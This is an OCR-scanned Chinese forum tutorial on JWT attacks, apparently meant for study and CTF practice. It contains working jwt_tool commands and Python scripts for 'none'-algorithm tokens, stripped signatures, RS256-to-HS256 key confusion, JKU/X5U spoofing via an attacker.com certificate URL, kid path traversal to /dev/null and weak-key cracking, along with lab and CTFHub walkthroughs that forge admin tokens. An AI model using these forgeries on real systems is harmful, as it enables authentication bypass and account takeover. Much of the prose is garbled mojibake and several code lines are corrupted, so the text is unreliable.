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JWT 22 - [REIXE &% (Original Article) —
TOOLS | Rk &R - B LE

TOOLS AXXIcERZF Y IWT RE2E IR, ~NEezil, 908

I fE7 LE .

AXOCFEFS) JWT LRI, Nezit, susimE(IF1E. B1F TCV 2,

JWT £FR JSON Web Token, {2/ JSON {ERNFERE AR, @I XFR / IEXFR S
VI IS EUEF 1T IR AL, 7] AL S EmEIR RN EEIEEN

B ERIRE:

o EHILUE
JWT EREIREREN = LN EIENZ R, Server BIUEEINE B AN EHE
HITER, RBIERM Clent AERIRREEELMARN, RNERL
=R

o S1nIAIE
1.Client &£3IXNKFZI Server IiE, EBITIRE] JWT;
2.Client & JWT TFREEN T2, TIRRIEIFKRIE HTTP Header A L

Authorization: Bearer Jwr [&%l;

3.Server IIF JWT #UEA L IZH) express BB 2 BT HE, 2T BREETNIE
THRELHIBEFEN, MEBEINLREIZIEREG,
KA IWT SMINEFERA Server 45 SESSION,  AE EIEMAE
Client '8 F0#, XF R BUBR 15 i2s Y Bahig# Cookie WA,
B L CSRF.

JWT H Header. Payload. Signature =230 Mpk, ARolE, S0 HIEXRA
Base64URL w8, N 7T HEMEMIRITIE,
eyJhbGciOiJIUzIINiIsInR5cCI6IkpXVCI9

eyJzdWIi0iIxMjMONTY30DkwIiwibmFtZSI6IkpvaG4gRGILIiwiaWF@IjoxNTE2MjMSMDIyYfQ
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https://base64.guru/standards/base64url
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SFLKxWRISMeKKF2QT4fwpMeJ f36POk6yIV_adQssw5c
~i BEFBEER. TARTHRIBEAS.

Header RAEE, alg HS266 WHREIEZE® (HMAC-SHA-256) # typ Token
R XEBRYalg F key 2 WT A TEEMES.

BINEESI rfc7518

"alg": "HS256",
"_typ" : "JWT"

Payload A& XL rMEHIEUIE.

{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022

}

Signature &XJ Header 1 Payload #1734, £RIE JWT A8 JWS (
JSON Web Signature) XElnRE, EMERT4ANEAINERE Header alg #
(AR JWE  ( JSON Web Encryption) , TEAMRBERTEY

=

# STLKxwRJISMeKKF2QT4fwpMeJf36P0k6yJV_adQssw5c
sign = signature(f'{base64_safeurl(header)}.{base64_safeurl(payload)}')

B AL L0

JWT L2t SL ) A E AR R H P ER D AL .

Token A3 HA

exp AENIHFEAMAL K, RaEMREZEE JWT EEKF,

{

IS By

ok

i

Payload FNEHRMER, BIBEE,

MERAEREE (CVE-2015-9235)
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https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
https://datatracker.ietf.org/doc/html/rfc7518#section-3.1
https://www.rfc-editor.org/rfc/rfc7515.html
https://datatracker.ietf.org/doc/html/rfc7516
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RFC8725 JWT HfELiAIRRIA NL (o)

2.1. Weak Signatures and Insufficient Signature Validation
Signed JSON Web Tokens carry an explicit indication of the signing
algorithm, in the form of the "alg" Header Parameter, to facilitate
cryptographic agility. This, in conjunction with design flaws in some
libraries and applications, has led to several attacks:

e The algorithm can be changed to "none" by an attacker, and

some libraries would trust this value and "validate" the JWT
without checking any signature.

e An "RS256" (RSA, 2048 bit) parameter value can be changed
into "HS256" (HMAC, SHA-256), and some libraries would try to
validate the signature using HMAC-SHAZ256 and using the RSA
public key as the HMAC shared secret (see [MclLean] and [CVE-
2015-9235]).

For mitigations, see Sections 3.1 and 3.2.

MEREREE

Header HE52 80 none (A E1d Mk Header alg, BAE&FMM) XF A UARE
B ZE Payload BEENBENEIE, 5S—MEREEERE A EIRK, BRE

4 Payload,
{
"alg": "none",
"typ": "IWT"
}

MEHBERANS (CVE-2020-28042)
=EMFRER, HmEIEINE header.payload. .
BEWEA™ (CVE-2016-5431)

APAUFEEERFE, IBIENMEE RS256 BUAXTRE A HS256, At
BHNHER IR, IRSFZ2UA AR secret JEE A,
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JWK h JKU/X5U 3EN

FrEAR jku 1 xBu B2 MAE JWT Header 89, {8 URL AR FIZHER4EA,
BAJ jku. xbu BB A ETSAM™ERE URL , {$15 Server imPeEIE KEAM
URL BYZ%R%01E JWT,

JKU

jku  (UWK Set URL) FRRIBAMPEMAE URL fiBidih(n) URL RIREVRISHITE
B, XER P REIREH,

{

"alg": "RS256",

ll_typll : "JWTII R

"jku": "https://example.com/jwks.json"
}

https://example.com/jwks.json XM AAERMTEE, XAFERI jwks
(JSON Web Key Set) , 2E2H JSON #UERRZ A, BN L BN
A JSON i@ JWK,

{
"keys": [
{
"alg": "RS256",
"e": "AQAB",
"kid": "S5N@bTIKpSWIxD1gM86/ni8p4M/0Z6HyhGO85s0r+y8w=",
"kty": "RSA",

"n": "gd1BjHCazeeSnCtJtK5CQHL1i7pkmAihIvBWhUuSpNzgVrwsWzQspCQ9qRKsa
Z0tuJcbFJdocglYiO-egH-aheI8b20Isi_VWjq9Gf2BkFk8ZyuErBImlealmf_o410b1nbAN4TWS_W
5_SAQE3N_vU5Ay9ruCykKkiVShOejRIzqgey58bcVmSv3aAggsY8_GuLWuSZ9BhWeuEwp-Dx3wsGknm
ES2NDoko4vtTHFb_p32BOG1YKYtoY-n3I1igDGOghT_sFrjTXPBNn27gkFI-38soHTttShepXQYPDU
a0JYyh7NovhoOCntRB1geFgvtYfWj-iLj5ISeAhhn1Phuk1Q",

use": "sig
}’
{
"alg": "RS256",
"e": "AQAB",
"kid": "ibXf2UfPH/nPTmK/5EpdwBnrIb0IdcJUxL7/z/LLtr4="
"kty": "RSA",

"n": "iMydXmbxVDUWW7tkCmtLTpKfPRxdjt0tIhGxWOkKP7NId1-12jh2kZ8ak10U
k@rohk62jrtfcpradtmL11INpH_mUfDD-F5f1BgNAIjcel5-eIVxzRKUbrBgifwFDWVFFs9G7n8XLX
2eCopmtewg3xcSRwcVVYQeSY75KqgkWTOngYmeSoG4He5AhmN@DpDoSUC4E _LCzqGaGoAHSGmr4Zrt
3MAF_ewlaDUs55WM_5PzIxp50vFxiVD182QJ9acEjreiQ-9L7k2ujkZs8ZkgUTLF1jGCr4A-Q2ylEn
dFFjwMBp30Mcd_BBGTb7zfDTAyZ60gQPy_1i3Vr7d5PASDYUw",

TiieATe Mag A
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https://www.rfc-editor.org/rfc/rfc7515.html#section-4.1.2jku
https://example.com/jwks.json
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usc . >Ly

JSON ABIE—" keys 1H, EEBEM DA, B key name #2—3, &
B

e alg (Algorithm) , B LERREBEEZE,

e e (Exponent) , f{F& RSA NHIE

e kid (Key D) , TRAMRME, 1T JWT Header R{EA T kid, M JWKS
A TEFEN KD &, BFNESZSFERIRERI N APEERILE

%\__/LT%O
o kty (key type) , RRNVERMFLAMBEL, WWAHEIIE JWT 2,
e n (Modulus) , ftZ& RSA 1=

e use (Public Key Use) , RIAHBTTW, B ME sig (signature)
# enc (encryption) , XEFERANES

HExT I3 key 158E& JWE &
JKU FABAE:
JRIEEFETE jku header url 1F server EXEATIEER key I,

[EEIDYN %32

openssl genrsa -out keypair.pem 2048 # -5l RSA F\45A

openssl rsa -in keypair.pem -pubout -out publickey.crt # 4/ %7
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem
-out privatekey.key # 7L

2. HLJWT, [ERAThRER,

3. NEMNAE JWK A8, XB AR publickey.crt {5/ T HEAAIZEX
n. e SHHTER, REFFD WebServer 1F jku URL BN E S8 JWK,
FHENAHITIBEK,

from Crypto.PublicKey import RSA

wit+h Aananl"niithlaclrave ~nd" "w'"N Ac Fila-
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VLU UPTII| PUVLLURNCY Ll Ly [ ARV I~ I |

key = RSA.importKey(file.read())
print("n:", hex(Ckey.n))
print("e:", hex(Ckey.e))

X5U

xbu (X509 URL) , th2¥% X.509 NFRIFHIT URL A,

£ JWT HRN Header {£F5

{
"alg": "RS256",
"typ": "IWT",
"x5u": "https://example.com/jwks.crt"
}
XoU MARHE:
1. A x509 IFPFIFAER, 183 attacker.crt IFFFI attacker.key FA4A,
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attack.key
-out attack.crt
$2EX attacker.crt UERAHEHHETE [@E! publicKey.pem {4,
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
2. 2/°\%A publicKey.pem MFA5H attacker.key 3 JWT B E, E{l JWT
o xbu URL 38@ANKELE LT L HENA],
{
"alg": "RS256",
"typ": "IWT",
"x5u": "https://attacker.com/attacker.crt"
3
EELERBE:

o FA JKU/XBU It J1E=RIEE URL &K, ABARIZPI8EFIE SSRF
UEYs

e Bypass JKU/X5U URL. Domain BHBREH, FIAAJ ByPass BEE, 1#
SEEEECRERSIIE?

NEEEN (CVE-2018-0114)

A —— L — 1 e N L A e A e A AN/
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R R AF ot TR, T ER (0,

JWT (ERAEFRINERTIAAE Token th &S 7 2%H, BRSIREMLLAHEITINE,
IR AB AN —EAMA, BOMBHNEIERER, SEFAHMNE JWT H,
RS ImIE A JWT 81T SER A AN SRR,

=2 JWT Header F{EE) RSA n 1 RSA e,

"alg": "RS256",
"typ": "IWT",
"Jjwk": {

"alg": "RS256",

"e": "AQAB",

"kid": "S5N@bTIKpSWIxD1gM86/ni8p4M/0Z6HyhGO85s0r+y8w=",

"kty": "RSA",

"n": "gd1BjHCazeeSnCtJtK5CQHL1i7pkmAihIvBWhUuSpNzgVrwsWzQspCQ9gRKsazZ0tu
JcbFJd@cglYi0-egH-aheI8b20Isi_VWjq9Gf2BkFk8ZyuErBImlealmf_o410b1lnbANATWE_W5_SA
@QE3N_vU5Ay9ruCykKkiVShOejRIzgey58bcVmSv3aAggsY8_GuLWuSZ9BhWeuEwp-Dx3wsGknmES2ZN
Doko4vtTHFb_p32BOG1YKYtoY-n3I11igDGOghT_sFrjTXPBNn27gkFI-38soHTttShepXQYPDUaOJY
yh7NovhoOCntRB1lgeFgvtYfWj-iLj5ISeAhhn1Phuk1Q",

use": "sig

}

5 & BiREERIS/ER0 Publickey,

{

"alg": "RS256",

ll_typll : "JWTII R

"publicKey": "al23123asdasdzxd"
}

BEE—MIERTNFEEZE CENR—EPMNEERRIE AARIAEIRR, SiEE
L ESCETINGER
from Crypto.PublicKey import RSA

with open("publickey.crt", "r") as file:
key = RSA.importKey(file.read())
print("n:", hex(Ckey.n))
print("e:", hex(key.e))

FS_MERZ N IWK R JKU/XBU SEN" ANEERIES, SREVARENA],
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R RLIRE

ERAXNMINEMEIEN, REBPMEBNSRMN L5 —HHIANEBER. B

BRI AED .
1Em T H

e John the Rippe

e Hashcat

e C—jwt—cracker

e jwt—heartbreaker

e jwt_tool

£
e

it

S

SRFERBNMINE, BIBRHEE, BUCHZRENER, BHEEREH
EEfE Client InZ0RIBIERID, ARSSImE S EERIREAR S22 SRS R =

5

o

AT AFERE AR SS 28 £ XXM SHIE R HASRINIE

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
python3 jwt_tool.py <IWT> -I -hc kid -hv "/dev/null" -S hs256 -p "'

dFREERAVEIE

REM Web JmiE—1E, WRENES IWT B, MUIIERAEMINEEFERA, e
AR,

F017 45>

EEHIEHARHLEEN, RIMAEERI-,
jwt-lab
https://jwt—lab.herokuapp.com

None Algorithm [Very Easy]
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https://github.com/brendan-rius/c-jwt-cracker
https://github.com/wallarm/jwt-heartbreaker
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FEETR

Goal: Register a user and gain access to the admin user.

ZFIKF E&7E Cookie & challenge B2 JWT

eyJhbGci01JSUzIIN1J9.eyJuYW11IjoiZ2]JiIn@.E12cFJy9N1K9_K6c13VLgcWggk8mrEv_GVGbf
1eMoIyShQht3gYoCwSSPeqvwbNNBkVhevrsaCAkSsCx2WcX2rNz3043Yy9VINCqgwVpSUdgq0g9b9bu
mqtX-AJjbTj8csF1p01z]iC9MP4Pnojt15kS1SISVM_oaw7EbuasZQ0igCb_4mx1J1X-P1kZD9e8yD
du8KFhF59X2Ms1igoXacsucuBoP@XCEetDfpsceqGblpkRytXSCWQIpPfbVtbK_Xxxvkl-PGdF@exc-
tr_b17HzunCLcQ20I1INOVCKHiLs-9QcrG8Wf3ns1b9SwpSe5feHbMzcYGGZCSufyE81K_eQ

Header alg 288 none , Payload name 228 admin

eyJhbGci0iJub251In@.eyJuYW11IjogImFkbWluIn®@.E12cFJy9N1K9_K6c13VLqcWgqgk8mrEv_GV
GbfleMoIyShQht3gYoCwSSPeqvwbNNBkVhevrsaCAkSsCx2WcX2rNz3043Yy9VINCqgwVpSUdq0q9b
9bUmgtX-AJjbTj8csF1p01zJiCOMP4Pnojt15kS1SISvM_oaw7EbuasZQ0igCb_4mx1J1X-P1kZD9e
8yDdu8KFhF59X2Ms1igoXacsucuBoP@XCEetDfpsceqGblpkRytXSCWQIpPfbVtbK_Xxxvkl-PGdFQe
xc-tr_bl17HzunCLcQ20I1IN@OVCKHiLs-9QcrG8Wf3ns1b9SwpSeS5feHbMzcYGGZCSufyE81K _eQ

1B alg A none, Payload A admin [EMIERESZ ., BILAAERL

eyJhbGci01Jub251In0@.eyJuYW11IjogImFkbWluIn®@.

AIIE Signature M (RABEEANEE T BSFRBMT, BEH
RFC7519 T@H/T)EE //A':JE/]) s éﬁﬂ Header.Payload.

eyJhbGci01JSUzIIN1J9.eyJuYW1lIjogImFkbWluIn@.

LXJ:E%'?H?%E%%EZI’%%% Current user is: admin
Exposed Key [Easy]
R JWT

eyJhbGci0iJSUzIIN1J9.eyJuYW11IjoiZ2J1iIn@.E12cFIy9IN1KI_K6c13VLgcWgqk8mrEv_GVGbf
1eMoIyShQht3gYoCwSSPeqvwbNNBkVhevrsaCAkSsCx2WcX2rNz3043Yy9VINCqgwVpSUdq0gq9b9bU
mgtX-AJjbTj8csF1p01zJiCOMP4Pnojt15kS1SISVM_oaw7EbuasZQ0igCb_4mx1J1X-P1kZD9e8yD
du8KFhF59X2Ms1igoXacsucuBoP@XCEetDfpsceqGblpkRytXSCWQIpPfbVtbK_Xxxvkl-PGdF@exc-
tr_b17HzunCLcQ20I1INOVCKHiLs-9QcrG8Wf3ns1b9SwpSe5feHbMzcYGGZCSufyE81K_eQ

NG
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MIIBIjANBgkghkiGOw@BAQEFAAOCAQ8AMIIBCgKCAQEAtPEIDLGUsn7hb5gvHUPS
Y+3RjxWfsf+H42JuCSyhfzTrZz+DQreBJIFqz@Hhe3ddgmrA+qyrrZCcRubouveE
YCXthUH1Ib/LwZKfeh+fhYLgvFdsR7VkJUhiEjvgpwhwf1jHW7LaDfKV1g+nYBcB
QtME9pnN@jXRzT7/vdubjs49UFz5DFS38DS15MxnqyFKURG6YCZIRhPsG8fr5A7ad
f33GKm408g9K5XnxTpgu/PYLRX+UNxhSFVq@1CDBHRIQQudYbiWXvQGnAdbLDsK2
1EemTk8yNa3rmylrAxVMZ8GgAd4x2K6juklb6qgdYIKNHVOVAHY IXjRXiwHt jr4NW
EwIDAQAB

@Eﬁﬁ:[ﬁ% python jwt tool.py -X k -pk public.pem
eyJhbGciOiJIUZIINiIJY . eyJuYWllIjoivWwRtawdifo. JFEIAN HS256 BB/ AFA1E

NEBHAE

eyJhbGci0iJIUzIINiJ9.eyJuYW1lIjoiYWRtaW4ifQ.y65I9S3UiREQPUe@XREshv1sv@vyBOE-kj
W_o14gM3s

thEH T Foedss, BABRM—1TIERN key 72
https://tool.oschina.net/encrypt?type=2 3%l hash, A Base64Url ghg hash
SKEY Secret, FHILZARELE DAY  eyIhbGeiOiJIUZIINITY.eyJuYWllIjoiYWRtaWsifQ |
RATZTAN

c334ec8de99b50ce008cdec80ccd24a766£4b2bEf730dc91c483fb7aTee2cdf6b , I | B0

A—HE,

FERZAIAN, https://www.youtube.com/watch?v=ghfmx4priQg 4:55 ##h
ERRER AR,

import hmac
import hashlib
import base64

file = open('public.pem")
key = file.read()

# Paste your header and payload here
header = '{"alg": "HS256"}"'
payload = "{"name": "admin"}'

# Creating encoded header
encodeHBytes = base64.urlsafe_bo4encodeCheader.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")

# Creating encoded payload
encodePBytes = base64.urlsafe_bo64encode(payload.encode("utf-8"))

nw_mn

encodePayload = str(encodePBytes, "utf-8").rstrip("=

# Concatenatina header and navload

https://www.t00ls.net/thread-62491-1-1.html

10/20


https://tool.oschina.net/encrypt?type=2
https://www.youtube.com/watch?v=ghfmx4pr1Qg

2021/8/25 JWT 24 - JRE) S %4 (Original Article) - TOOLS | fiGiHR & & - #0031 224

D R T S Al

token = (encodeHeader + + encodePayload)

# Creating signature
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf
-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("="

print(token + + sig)

&

XE TR E SR ENEEA,

H

1. B JWT 2RI

2. BRI JWT J5, BUBENER LA, RafER HS256 1iE, ZHREH

public.pems,

3. BinAEINIFLEEE, RIN Header /2 HS266, ABAERIEA HS256, 7F
H=Z%E public.pem ERIE, WHEXZEEM . [RANZE/EIHER
RS256, {£F3 public.pem EIUERZER, =Mt AZ2A public.pem ZEXT
Header. Payload IN&1E3E®R, HFESENTHIRESERTETH, =
PNENNELEN ERERAHEEBRAT FAHEMEBA TR, NHENEBEINA
) .

Signature Not Checked [Very Easy]
SxRMKPERIRE JWT,

eyJhbGci01JSUzIIN1J9.eyJuYW11IjoiZ2]JiIn@.E12cFJy9N1K9_K6c13VLgcWggk8mrEv_GVGbf
1eMoIyShQht3gYoCwSSPeqvwbNNBkVhevrsaCAkSsCx2WcX2rNz3043Yy9VINCqgwVpSUdgq0g9b9bu
mqtX-AJjbTj8csF1p01lzJiCOMP4Pnojt15kS1SISvM_oaw7EbuasZQ0igCb_4mx1J1X-P1kZD9e8yD
du8KFhF59X2MsigoXacsucuBoP@XCEetDfpsceqGblpkRytXSCWQIpPfbVtbK_Xxxvkl-PGdFQexc-
tr_b17HzunCLcQ20I1INOVCKHiLs-9QcrG8Wf3ns1b9SwpSe5feHbMzcYGGZCSufyE81K_eQ

EEWEERMR RIS ERTE, WPHPRRENL.

eyJhbGei0iJSUZzIINLI9. eyJuYW11Ijoiz2]iIn@.

EFIERP A admin B INTI#RS) admin KR HAKITER 2,

eyJhbGci0iJSUzIINiJ9.eyJuYW11IjoiYWRtaW4ifQ.

EARE JWT SR IRBRBE A MONER,
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eyJhbGci01JSUzIIN1J9.eyJuYW11lIjoiYWRtaW4ifQ.E12cFJy9IN1K9_Kec13VLqcWggk8mrEv_GV
GbfleMoIyShQht3gYoCwSSPeqvwbNNBkVhevrsaCAkSsCx2WcX2rNz3043Yy9VINCqgwVpSUdq0q9b
9bUmgtX-AJjbTj8csF1p01zJiCOMP4Pnojt15kS1SISVM_oaw7EbuasZQ0igCb_4mx1J1X-P1kZD9e
8yDdu8KFhF59X2MsigoXacsucuBoP@XCEetDfpsceqGblpkRytXSCWQIpPfbVtbK_Xxxvkl-PGdF@e
xc-tr_b17HzunCLcQ20I1N@vCKH1iLs-9QcrG8Wf3ns1b9SwpSe5feHbMzcYGGZCSufyE81K_eQ

Weak Signature [Medium]
GRSFEIRE JWT

eyJhbGci0iJIUzIIN1J9.eyJuYW11IjoiZ2J1In@.zd4XZLps44I5EHAXVFUGh82zgAHKPvyb8PALLA
ry23j8I

E%i)\@ﬁﬁ H8256, %iﬂ*%ﬁﬁ@%ﬂ%ﬂi% python jwt tool.py

eyJhbGciOiJIUzI1INiJ9.eyJuY¥W11lIjoiZ2JiIn0.2zd4XZLps44J5EHAXVFUGh8zgAHKPVYb8PALLAr
y2j8I -C -d worst-passwords-2017-topl00-slashdata.txt , %é%?%?”@%ﬂ

iloveyou , £ L BIA#E M rILAEE c—jwt—cracker

FIAR https://jwt.io/#debugger—io HiA
eyJhbGciOiJIUzI1INiJ9.eyJuYW1llIjoiYWRtaw4ifQ. iﬁ)\%@%ﬁ, @Z%ﬁé{ff python3
jwt_tool.py eyJhbGciOiJIUzI1NiJ9.eyJuYW1llIjoiYWRtaW4ifQ. -S hs256 -p

"iloveyou" f%’c @J %é%\%\r

eyJhbGci01JIUzIIN1J9.eyJuYW1lIjoiYWRtaW4ifQ._gDs9V-6by-T2sF5C_VXQn7WPOZ_YkAfg@
nx-pzLMQk

Vulnerable Kid [Medium Hard]

SEFRISE] IWT,

eyJraWQiOiJyc2FfcHIpdmF@ZSIsImFsZyI6IkhTMjU2In@.eyJuYW11IjoiZ2]iIn@.D9HR7CBMAq
MyT3h68JFjdic_y26DIX-C4piUnAwWvpk

Header EF‘E "kid": "rsa_private" JWT q:‘ﬁfjﬂb%/l\?_@%ﬁ, kid (key |D> %‘%
TMERBI N BREARINTEE, BIUIEE Server HEFENXHEAERNANSHRE,

EREEEN

/app/views/authentication/random.html.erb . ./app/views/authentication/random

.html.erb MFFEIR, JRBMIN. BRBEEAL,

"kid": "rsa_private",
llalgll : "H5256"

-

https://www.t00ls.net/thread-62491-1-1.html
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MBIE https://github.com/ticarpi/jwt_tool/wiki/Known—Exploits—and—
Attacks#tkid—-injection 1w, BXHEHITEZ,

Header

{
"kid": "app/views/authentication/random.html.erb",
"alg": "HS256"

3

Payload

{
"name": "admin"

ks

2% Attacking JSSON Web Tokens (JWTs) 5. Use arbitrary files to verify /N7y
%@;}%Tfﬂﬁ, kid lﬁ%ﬁ /dev/null | iX?:E Linux —Fﬂl’\/@yﬁo

—| NHFIFERAIITEIALEFNE, —hc kid IREIA header & kid, -hv I18&
B8R "../../dev/null", —pc IZE payload name, —pv 18E name EH "admin’

python .\jwt_tool.py eyJhbGciOiJIUzIINiJ9.eyJuYW11IjoiZ2]1iIn@.zd4XZLps44I5EHAX
VFUGh8zgAHKPvyb8PALLAry238I -I -hc kid -hv "../../dev/null" -pc name -pv "admi

n" -S hs256
python .\jwt_tool.py eyJhbGciOiJIUzIINiJ9.eyJuYW11Ijoi1Z2]1In@.zd4XZLps44I5EHAX
VFUGh8zgAHKPvyb8PALLAry2381 -I -hc kid -hv "/dev/null” -S hs256

B—FE2$ER Server Exxtt, SIS AR,

python .\jwt_tool.py eyJhbGciOiJIUzIINiJ9.eyJuYW11Ijoi1Z2]1In@.zd4XZLps44I5EHAX
VFUGh8zgAHKPvyb8PALLAry23j8I -I -hc kid -hv "XHENEEZIANERL" -pc name -pv
"admin" -S hs256 -p "SXfHFAA"

CTFHub
BRE RIS

£ Cookies B 1F token 18, BEHHIEMESE Flag
}

ctfhub{f51fc5a31c4c2c9c90c00585

"AG": "c4c2c9c90c00585}",
"tvn"e "IWT".

https://www.t00ls.net/thread-62491-1-1.html 13/20
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. - y

: "HS256"

Payload

: llgbbll,
: llgbbll’
. "ctfhub{f51fc5a31"

BEREE

HNEE FERADCEELT

<!DOCTYPE html>
2 <html>
<head>
<meta charset="utf-8" />

<title>CTFHub JWTDemo</title>

</head>
<body>
<main id="content">
<header>Web Login</header>
<form id="login-form" method="POST">

</form>
<a href="/publickey.pem">publickey.pem</a>
</main>
<?php echo $_ IE['token'];?>
<hr/>
</body>
</html>

4 <?php
25 require . '/vendor/autoload.php';
6 use \Firebase\JWT\JIWT;

class JWTHelper {
public static function encode($
return JWT::encode
}
public static function decode($token, $
try{
= JWTHelper: :getHeader(
g array_merge(array(
return JWT::decode
} catch(Exception $e){
return

n,
5

public static function getHeader(
$ explode('."', $jwt);

= getenv("FLAG");
TE_KEY = file_get_contents("/privatekey.pem");
3LIC_KEY = file_get_contents("./publickey.pem");

SERVER[ 'REQUEST_METHOD'] === 'POST') {

https://www.t00ls .net/thread-62491-1-1.html

<meta name="viewport" content="width=device-width,

<link rel="stylesheet" href="/static/style.css" />

username'] === 'admin' && $_POST['password']
% array(
‘username' => $_POST['username'],

initial-scale=1, shrink-to-fit=no" />

<input type="text" name="username" placeholder="Username" />
<input type="password" name="password" placeholder="Password" />
<input type="submit" name="action" value="Login" />

'HS256"') {

if (lempty($_ ['username']) && !empty ST['password'])) {

14/20



2021/8/25 JWT 224> - JERI S % 4 (Original Article) - TOOLS | {RVH3R & & - 0 3224
‘role'=> "admuin',

)s
token = JWTHelper::encode($jwt_payloac PRIVATE_KEY, 'RS256')

} elsér{

ayload = array(
‘username' => $_POST['username'],
‘role'=> 'guest’,
)5
t n = JWTHelper::encode($jwt_
}
@setcookie("token", $token, time()+ )2
header("Location: /index.php");
exit();
} else {
@setcookie( "token", "");
header("Location: /index.php");
exit();
}
} else {
if(!empty($_COOKIE['token']) && IWTHelper::decode($_COOKIE['token'],
$obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);
if ($obj->role === ‘'admin') {
echo $FLAG;

}
} else {
show_source(

BIERY if LMK ERAMINE cookie HHE A token, 1M else IXEFEEE, Token
IEAINE R L flag,

FEHMNEM:
1. token NRATFH H/ANARA HS256 A INEEE Token
2. Cookie # role & admin

} else {
if(lempty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBL

IC_KEY) != false) {
$obj = IWTHelper: :decode($_COOKIE['token'], $PUBLIC_KEY);
if ($obj->role === 'admin') {
echo $FLAG;

}
} else {
show_source(__FILE__);

T E453! Token
eyJ0eXAiOiJKV1QiLCJIhbGciOiJIUZzI1INiJ9.eyJ1lc2VybmFtZSI6ImdiYiIsInJvbGUiOiJhZGlpb

1J9.Dyk-advgcsF5XxDiylPrely-jtiBuRXjcEOrXsGoDsw

python .\jwt_tool.py -X k -pk 'public.pem' -I -pc role -pv "admin" -hc alg -hv
"HS256" eyJ0eXAi01JKV1QiLCIhbGci01JSUzIINiJ9.eyJ1c2VybmFtZSI6ImdiYiIsInJvbGUi0
1JndWVzdCJ9.BxFOusOdTAWATh89Su9CBmpZsQ-7Nag8im-UUj4uh24Mel1@CLHp24QN3hFW4091R35
3GYnR6xFHtcGq9@WePgetmsEJai_yojnFWtnmdv_-ulfY_RIVnAF2MQLbLAeQrxEHPiaHdrWqEzU82
bJ3bTGA87tTfbkH-RINMTy9ucgBRLMsISyKShY8AoFOZEhT-awAfpfUwS5ZTTcPO61Hk41tbRG11icd
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bLFqyyqi2p_VIonM6PWUIxUaeKpYMKT_-6RZT30QbURNNH4xSsOPPQgv42dR4cGWiSROrKLP1Vv]zx
x0guc6tLjAXyb_IcBHHOrh9vUZmCR3HcBwszpl2bCQ

BIZARE2l Token
eyJ0eXAiOiAiS1dUIiwgImFsZyI6ICJIJIUZIINiJ9.eyJ1lc2VybmFtZSI6ICIhZGlpbiIsICIyb2x1I
jogImFkbWluInO.X5voM3YG8KMiy0Am9gE4 jcI46UzcHbjX8ajBoM5gqPYM

import hmac
import hashlib
import base64

file = open('public.pem")
key = file.read()

# Paste your header and payload here
header = "{"typ": "JIWT", "alg": "HS256"}'
payload = '{"username": "admin", "role": "admin"}'

# Creating encoded header
base64.urlsafe_bo64encode(header.encode("utf-8"))
str(encodeHBytes, "utf-8").rstrip("="

encodeHBytes

encodeHeader

# Creating encoded payload
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")

# Concatenating header and payload

non

token = (encodeHeader + + encodePayload)

# Creating signature
sig = baseb64.urlsafe_bo4encodeChmac.new(bytes(key, "UTF-8"), token.encode("utf
-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")

print(token + "." + sig)

BEITHA A& TEY#HZE Application iEINE, #HZ! Storage # Cookies Bk
token 18, ¥£& F5 RIFTTIEEIAI 4 Flag ctfhub{c5e5c91ddelcdf45109a2d90} .

IE\ét

FERZ LIRS, HEfssiA. BHHEE. TRIE R . 8B IXLE o)
BT HEIY, BEN Header MEAS R, HRNEETME - GEH, B IIE
h@ERT— R, M A EE N O8F) JWT 848 jwt—tools TEFE WIKI RE A

%, BB BRI —E, BRiIRRE.

B—SEFRA) A 2 n] AEIE, XSS 3T Token, SEfriz=A@ =S Token BN Local

https://www.t00ls.net/thread-62491-1-1.html 16/20
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Storage 2, T/REKRETELHE N HTTP Header £4%), BBALLERTPI AR S XSS

IJWT 424 - JR AL %A (Original Article) - TOOLS | fiGif>R & J& - 750 3] 424

2EY Token & EUKS . EX Token BAN, EHNAR BT IMEFE

Token ZEMURHTY Token DALRERAE B ER, WX RPILALE Token JXRE

e

https://jwt.io/introduction , B &7

https://tools.ietf.org/html/rfc7519 , JWT F5E

https://tools.ietf.org/html/rfc8725 , JWT SRIESEH

https://blog.angular—university.io/angular—jwt , JWT EA[RIE

https://github.com/ticarpi/jwt_tool/wiki , E#E JWT BT AU &

BEZEN, FEMSNER. WIEL WK IWT HEMTEEE.

https://book.hacktricks.xyz/pentesting—web/hacking—jwt—json-web—
tokens , A ARHA

https://book.hacktricks.xyz/pentesting—web/hacking—jwt—json—web—

tokens , —EREERATAARL, NARESRE—KRIEE
https://jwt-lab.herokuapp.com , jwt-lab

https://infosecwriteups.com/attacking—json—web—tokens—jwts—
dld5lalel7ch , jwt-lab #F2

https://adamc95.medium.com/json—-web—token—lab—guide—
c402857fad4c , jwt—lab #F&

https://medium.com/swih/hacking—json—web—tokens—jwts—
9122efe91eda

WebGoat

CTFHub

https://www.t00ls.net/thread-62491-1-1.html
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@ WT Pirate Map

says it's not JWT < Analyze it with

#tryharder
Search for

Find a key
Process a JSON Web Key Store file,
reconstruct the Public Keys, and test the
keys to see which ones verify the token:

Spoof

Spoof a remote JWKS. Generate a new RSA key pair,
inject your supplied URL into the token, export the
Public Key as a JSON Web Key Store object (to serve
at the URL provided), and sign the token with the
Private Key:

B @HacktoryAl

https://www.t00ls .net/thread-62491-1-1.html

Found
param value?

Try

Try to use the 'none' algorithm
for creating unvalidated tokens:

—

Key confusion attack
Try a 'key-confusion' attack CVE 2018

against asymmetric ciphers (RS-, Test CVE-2018-1000531
EC-, PS-) with a known Public Key and HS256 attacks

Brute force
Brute force Test against S Wordlist attack
brute force attacks w

Test against wordlist
